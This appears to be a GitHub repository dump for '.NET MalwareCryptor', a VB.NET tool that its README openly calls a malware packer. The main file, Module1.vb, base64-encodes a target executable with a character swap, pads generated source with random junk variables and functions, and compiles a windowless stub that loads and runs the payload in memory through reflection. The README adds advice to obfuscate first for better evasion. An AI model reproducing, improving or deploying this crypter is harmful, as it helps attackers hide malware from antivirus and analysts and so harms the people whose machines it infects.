├── .github └── FUNDING.yml ├── App.config ├── LICENSE ├── Module1.vb ├── My Project ├── Application.Designer.vb ├── Application.myapp ├── AssemblyInfo.vb ├── Resources.Designer.vb ├── Resources.resx ├── Settings.Designer.vb └── Settings.settings ├── NET-CryptEngine.sln ├── NET-CryptEngine.vbproj ├── NET-CryptEngine.vbproj.user ├── README.md └── presentation.png /.github/FUNDING.yml: -------------------------------------------------------------------------------- 1 | # These are supported funding model platforms 2 | 3 | github: # Replace with up to 4 GitHub Sponsors-enabled usernames e.g., [user1, user2] 4 | patreon: # Replace with a single Patreon username 5 | open_collective: # Replace with a single Open Collective username 6 | ko_fi: # Replace with a single Ko-fi username 7 | tidelift: # Replace with a single Tidelift platform-name/package-name e.g., npm/babel 8 | community_bridge: # Replace with a single Community Bridge project-name e.g., cloud-foundry 9 | liberapay: # Replace with a single Liberapay username 10 | issuehunt: # Replace with a single IssueHunt username 11 | otechie: # Replace with a single Otechie username 12 | lfx_crowdfunding: # Replace with a single LFX Crowdfunding project-name e.g., cloud-foundry 13 | custom: ['https://github.com/DosX-dev/DosX-dev/blob/main/donate.md'] # Replace with up to 4 custom sponsorship URLs e.g., ['link1', 'link2'] 14 | -------------------------------------------------------------------------------- /App.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2023 DosX 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /Module1.vb: -------------------------------------------------------------------------------- 1 | Imports System.CodeDom.Compiler 2 | Imports System.Reflection 3 | Imports System.IO 4 | Imports System.Security.Cryptography 5 | Imports System.Text 6 | 7 | Module Module1 8 | Sub Main() 9 | Console.WriteLine(" .NET MalwareCryptor :: OpenSource malware packer" & vbCrLf & " https://github.com/DosX-dev/NET-MalwareCryptor" & vbCrLf) 10 | 11 | ' Checking for command line arguments 12 | If My.Application.CommandLineArgs.Count <> 1 Then 13 | Console.WriteLine("Invalid number of command line arguments." & vbCrLf & "Usage: ... ") 14 | Exit Sub 15 | End If 16 | 17 | Dim filePath As String = My.Application.CommandLineArgs(0) 18 | 19 | ' Checking if the specified file exists 20 | If Not File.Exists(filePath) Then 21 | Console.WriteLine("The specified file does not exist.") 22 | Exit Sub 23 | End If 24 | 25 | ' Loading the file content 26 | Dim fileBytes As Byte() = File.ReadAllBytes(filePath), 27 | base64String As String = Convert.ToBase64String(fileBytes) 28 | 29 | ' Getting the assembly name without the extension 30 | Dim assemblyName As String = Path.GetFileNameWithoutExtension(filePath), 31 | source As String = "Imports System" & vbCrLf & 32 | "Imports System.Reflection" & vbCrLf & 33 | "Imports Microsoft.VisualBasic.CompilerServices" & vbCrLf & 34 | "Imports System.Runtime.CompilerServices" & vbCrLf & 35 | "Module Program" & vbCrLf & 36 | "Private EP = ""EntryPoint"", INV = ""Invoke"", L = ""Load"" , N = Nothing, T = True, F = False" & vbCrLf & 37 | GenerateJunkVariables() & vbCrLf & 38 | "Sub Main()" & vbCrLf & 39 | GenerateJunkVariables() & vbCrLf & 40 | "Inject(GetStub(System.Convert.FromBase64String(""" & base64String.Replace("m", "_") & """.Replace(""_"", ""m""))))" & vbCrLf & 41 | GenerateJunkVariables() & vbCrLf & 42 | "End Sub" & vbCrLf & 43 | "Sub Inject(payload As Object)" & vbCrLf & 44 | GenerateJunkVariables() & vbCrLf & 45 | "NewLateBinding.LateCall(NewLateBinding.LateGet(payload, N, EP, New Object(-1) {}, N, N, N), N, INV, New Object() { N, N }, N, N, N, T)" & vbCrLf & 46 | GenerateJunkVariables() & vbCrLf & 47 | "End Sub" & vbCrLf & 48 | "Function GetStub(payload As Object)" & vbCrLf & 49 | GenerateJunkVariables() & vbCrLf & 50 | "Dim result = NewLateBinding.LateGet(N, GetType(Assembly), L, New Object() { RuntimeHelpers.GetObjectValue(payload) }, N, N, New Boolean() { T })" & vbCrLf & 51 | GenerateJunkVariables() & vbCrLf & 52 | "Return result" & vbCrLf & 53 | "End Function" & vbCrLf & 54 | GenerateJunkFunctions() & vbCrLf & 55 | "End Module" 56 | 57 | 58 | Dim provider As New VBCodeProvider(), 59 | parameters As New CompilerParameters With { 60 | .GenerateExecutable = True, ' Generating an executable file (.exe) 61 | .OutputAssembly = assemblyName & ".crypted.exe", ' Name and path to save the executable file 62 | .CompilerOptions = "/target:winexe /platform:x86" ' Compiler options to create a 32-bit console-less file 63 | }, 64 | results As CompilerResults = provider.CompileAssemblyFromSource(parameters, source) 65 | 66 | ' Checking for compilation errors 67 | If results.Errors.HasErrors Then 68 | Console.WriteLine("Compilation error:") 69 | For Each errorItem As CompilerError In results.Errors 70 | Console.WriteLine($" {errorItem.Line}: {errorItem.ErrorText}") 71 | Next 72 | Else 73 | Console.WriteLine("Compilation completed successfully. Created executable file '" & parameters.OutputAssembly & "'.") 74 | End If 75 | End Sub 76 | Dim random As New Random() 77 | 78 | Function GenerateJunkFunctions() As String 79 | Dim result As New StringBuilder() 80 | 81 | For i = 0 To random.Next(100, 200) 82 | result.AppendLine("Function " & GenerateRandomName() & random.Next(0, 9) & "()" & vbCrLf & "End Function") 83 | Next 84 | Return result.ToString() 85 | End Function 86 | 87 | Function GenerateJunkVariables() As String 88 | Dim result As New StringBuilder() 89 | 90 | For i = 0 To random.Next(25, 50) 91 | result.AppendLine("Dim " & GenerateRandomName() & " As Object = " & GetRandomArrayItem({"N", "Nothing", "T", "F", "True", "False", random.Next(-1000, 50000)})) 92 | Next 93 | 94 | Return result.ToString() 95 | End Function 96 | Function GetRandomArrayItem(Of T)(array As T()) As T 97 | Dim randomIndex As Integer = Random.Next(0, array.Length) 98 | Return array(randomIndex) 99 | End Function 100 | Function GenerateRandomName() As String 101 | Dim builder As New StringBuilder() 102 | 103 | Using rng As New RNGCryptoServiceProvider() 104 | Dim bytes(3) As Byte 105 | rng.GetBytes(bytes) 106 | 107 | For Each b As Byte In bytes 108 | Dim randomChar As Char = ChrW(b Mod 26 + 97) 109 | builder.Append(randomChar) 110 | Next 111 | End Using 112 | 113 | Return builder.ToString() 114 | End Function 115 | End Module 116 | -------------------------------------------------------------------------------- /My Project/Application.Designer.vb: -------------------------------------------------------------------------------- 1 | '------------------------------------------------------------------------------ 2 | ' 3 | ' This code was generated by a tool. 4 | ' Runtime Version:4.0.30319.42000 5 | ' 6 | ' Changes to this file may cause incorrect behavior and will be lost if 7 | ' the code is regenerated. 8 | ' 9 | '------------------------------------------------------------------------------ 10 | 11 | Option Strict On 12 | Option Explicit On 13 | 14 | -------------------------------------------------------------------------------- /My Project/Application.myapp: -------------------------------------------------------------------------------- 1 |  2 | 3 | false 4 | false 5 | 0 6 | true 7 | 0 8 | 2 9 | true 10 | 11 | -------------------------------------------------------------------------------- /My Project/AssemblyInfo.vb: -------------------------------------------------------------------------------- 1 | Imports System 2 | Imports System.Reflection 3 | Imports System.Runtime.InteropServices 4 | 5 | ' Общие сведения об этой сборке предоставляются следующим набором 6 | ' набора атрибутов. Измените значения этих атрибутов, чтобы изменить сведения, 7 | ' связанные со сборкой. 8 | 9 | ' Проверьте значения атрибутов сборки 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 'Следующий GUID служит для идентификации библиотеки типов, если этот проект будет видимым для COM 21 | 22 | 23 | ' Сведения о версии сборки состоят из следующих четырех значений: 24 | ' 25 | ' Основной номер версии 26 | ' Дополнительный номер версии 27 | ' Номер сборки 28 | ' Редакция 29 | ' 30 | ' Можно задать все значения или принять номера сборки и редакции по умолчанию 31 | ' используя "*", как показано ниже: 32 | ' 33 | 34 | 35 | 36 | -------------------------------------------------------------------------------- /My Project/Resources.Designer.vb: -------------------------------------------------------------------------------- 1 | '------------------------------------------------------------------------------ 2 | ' 3 | ' This code was generated by a tool. 4 | ' Runtime Version:4.0.30319.42000 5 | ' 6 | ' Changes to this file may cause incorrect behavior and will be lost if 7 | ' the code is regenerated. 8 | ' 9 | '------------------------------------------------------------------------------ 10 | 11 | Option Strict On 12 | Option Explicit On 13 | 14 | 15 | Namespace My.Resources 16 | 17 | 'This class was auto-generated by the StronglyTypedResourceBuilder 18 | 'class via a tool like ResGen or Visual Studio. 19 | 'To add or remove a member, edit your .ResX file then rerun ResGen 20 | 'with the /str option, or rebuild your VS project. 21 | ''' 22 | ''' A strongly-typed resource class, for looking up localized strings, etc. 23 | ''' 24 | _ 28 | Friend Module Resources 29 | 30 | Private resourceMan As Global.System.Resources.ResourceManager 31 | 32 | Private resourceCulture As Global.System.Globalization.CultureInfo 33 | 34 | ''' 35 | ''' Returns the cached ResourceManager instance used by this class. 36 | ''' 37 | _ 38 | Friend ReadOnly Property ResourceManager() As Global.System.Resources.ResourceManager 39 | Get 40 | If Object.ReferenceEquals(resourceMan, Nothing) Then 41 | Dim temp As Global.System.Resources.ResourceManager = New Global.System.Resources.ResourceManager("NET_CryptEngine.Resources", GetType(Resources).Assembly) 42 | resourceMan = temp 43 | End If 44 | Return resourceMan 45 | End Get 46 | End Property 47 | 48 | ''' 49 | ''' Overrides the current thread's CurrentUICulture property for all 50 | ''' resource lookups using this strongly typed resource class. 51 | ''' 52 | _ 53 | Friend Property Culture() As Global.System.Globalization.CultureInfo 54 | Get 55 | Return resourceCulture 56 | End Get 57 | Set(ByVal value As Global.System.Globalization.CultureInfo) 58 | resourceCulture = value 59 | End Set 60 | End Property 61 | End Module 62 | End Namespace 63 | -------------------------------------------------------------------------------- /My Project/Resources.resx: -------------------------------------------------------------------------------- 1 |  2 | 3 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | text/microsoft-resx 107 | 108 | 109 | 2.0 110 | 111 | 112 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 113 | 114 | 115 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 116 | 117 | -------------------------------------------------------------------------------- /My Project/Settings.Designer.vb: -------------------------------------------------------------------------------- 1 | '------------------------------------------------------------------------------ 2 | ' 3 | ' This code was generated by a tool. 4 | ' Runtime Version:4.0.30319.42000 5 | ' 6 | ' Changes to this file may cause incorrect behavior and will be lost if 7 | ' the code is regenerated. 8 | ' 9 | '------------------------------------------------------------------------------ 10 | 11 | Option Strict On 12 | Option Explicit On 13 | 14 | 15 | Namespace My 16 | 17 | _ 20 | Partial Friend NotInheritable Class MySettings 21 | Inherits Global.System.Configuration.ApplicationSettingsBase 22 | 23 | Private Shared defaultInstance As MySettings = CType(Global.System.Configuration.ApplicationSettingsBase.Synchronized(New MySettings), MySettings) 24 | 25 | #Region "My.Settings Auto-Save Functionality" 26 | #If _MyType = "WindowsForms" Then 27 | Private Shared addedHandler As Boolean 28 | 29 | Private Shared addedHandlerLockObject As New Object 30 | 31 | _ 32 | Private Shared Sub AutoSaveSettings(ByVal sender As Global.System.Object, ByVal e As Global.System.EventArgs) 33 | If My.Application.SaveMySettingsOnExit Then 34 | My.Settings.Save() 35 | End If 36 | End Sub 37 | #End If 38 | #End Region 39 | 40 | Public Shared ReadOnly Property [Default]() As MySettings 41 | Get 42 | 43 | #If _MyType = "WindowsForms" Then 44 | If Not addedHandler Then 45 | SyncLock addedHandlerLockObject 46 | If Not addedHandler Then 47 | AddHandler My.Application.Shutdown, AddressOf AutoSaveSettings 48 | addedHandler = True 49 | End If 50 | End SyncLock 51 | End If 52 | #End If 53 | Return defaultInstance 54 | End Get 55 | End Property 56 | End Class 57 | End Namespace 58 | 59 | Namespace My 60 | 61 | _ 64 | Friend Module MySettingsProperty 65 | 66 | _ 67 | Friend ReadOnly Property Settings() As Global.NET_CryptEngine.My.MySettings 68 | Get 69 | Return Global.NET_CryptEngine.My.MySettings.Default 70 | End Get 71 | End Property 72 | End Module 73 | End Namespace 74 | -------------------------------------------------------------------------------- /My Project/Settings.settings: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /NET-CryptEngine.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.5.33627.172 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{F184B08F-C81C-45F6-A57F-5ABD9991F28F}") = "NET-CryptEngine", "NET-CryptEngine.vbproj", "{CB671079-4300-4695-8D36-0D273E4B441F}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Release|Any CPU = Release|Any CPU 12 | EndGlobalSection 13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 14 | {CB671079-4300-4695-8D36-0D273E4B441F}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 15 | {CB671079-4300-4695-8D36-0D273E4B441F}.Debug|Any CPU.Build.0 = Debug|Any CPU 16 | {CB671079-4300-4695-8D36-0D273E4B441F}.Release|Any CPU.ActiveCfg = Release|Any CPU 17 | {CB671079-4300-4695-8D36-0D273E4B441F}.Release|Any CPU.Build.0 = Release|Any CPU 18 | EndGlobalSection 19 | GlobalSection(SolutionProperties) = preSolution 20 | HideSolutionNode = FALSE 21 | EndGlobalSection 22 | GlobalSection(ExtensibilityGlobals) = postSolution 23 | SolutionGuid = {FC79EF5C-EA91-44C9-98AC-F26849184AD1} 24 | EndGlobalSection 25 | EndGlobal 26 | -------------------------------------------------------------------------------- /NET-CryptEngine.vbproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {CB671079-4300-4695-8D36-0D273E4B441F} 8 | Exe 9 | NET_CryptEngine.Module1 10 | NET_CryptEngine 11 | NET-CryptEngine 12 | 512 13 | Console 14 | v4.7.2 15 | true 16 | true 17 | 18 | 19 | AnyCPU 20 | true 21 | full 22 | true 23 | true 24 | bin\Debug\ 25 | NET-CryptEngine.xml 26 | 42016,41999,42017,42018,42019,42032,42036,42020,42021,42022 27 | 28 | 29 | AnyCPU 30 | none 31 | false 32 | false 33 | true 34 | bin\Release\ 35 | NET-CryptEngine.xml 36 | 42016,41999,42017,42018,42019,42032,42036,42020,42021,42022 37 | 38 | 39 | On 40 | 41 | 42 | Binary 43 | 44 | 45 | Off 46 | 47 | 48 | On 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | True 76 | Application.myapp 77 | 78 | 79 | True 80 | True 81 | Resources.resx 82 | 83 | 84 | True 85 | Settings.settings 86 | True 87 | 88 | 89 | 90 | 91 | VbMyResourcesResXFileCodeGenerator 92 | Resources.Designer.vb 93 | My.Resources 94 | Designer 95 | 96 | 97 | 98 | 99 | MyApplicationCodeGenerator 100 | Application.Designer.vb 101 | 102 | 103 | SettingsSingleFileGenerator 104 | My 105 | Settings.Designer.vb 106 | 107 | 108 | 109 | 110 | -------------------------------------------------------------------------------- /NET-CryptEngine.vbproj.user: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | x16Calc.exe 5 | 6 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # .NET-MalwareCryptor 2 | ## [You can also pay attention to an newer project - DotNET_XorCryptor](https://github.com/DosX-dev/DotNET_XorCryptor) 3 | 4 | .NET MalwareCryptor is an open-source malware packer utility. It is intended for educational purposes only and strictly prohibits the use of its code for any illegal activities. 5 | 6 | This free tool is designed to encrypt malware samples using a modified base64 encoding algorithm. It adds random garbage data to the encrypted payload, further complicating its analysis. 7 | 8 | To utilize the utility, simply execute the following command: 9 | * ``net-cryptengine example.exe`` 10 | 11 | For enhanced effectiveness, it is strongly recommended to heavily obfuscate the assembly before applying the encryption process. 12 | ## [DOWNLOAD COMPILED](https://github.com/DosX-dev/NET-MalwareCryptor/releases/tag/Builds) 13 | 14 | 15 | 16 | ![](https://raw.githubusercontent.com/DosX-dev/NET-MalwareCryptor/main/presentation.png) 17 | -------------------------------------------------------------------------------- /presentation.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DosX-dev/NET-MalwareCryptor/653d12ccef76687500cd1256e7d29d18d1bf750e/presentation.png --------------------------------------------------------------------------------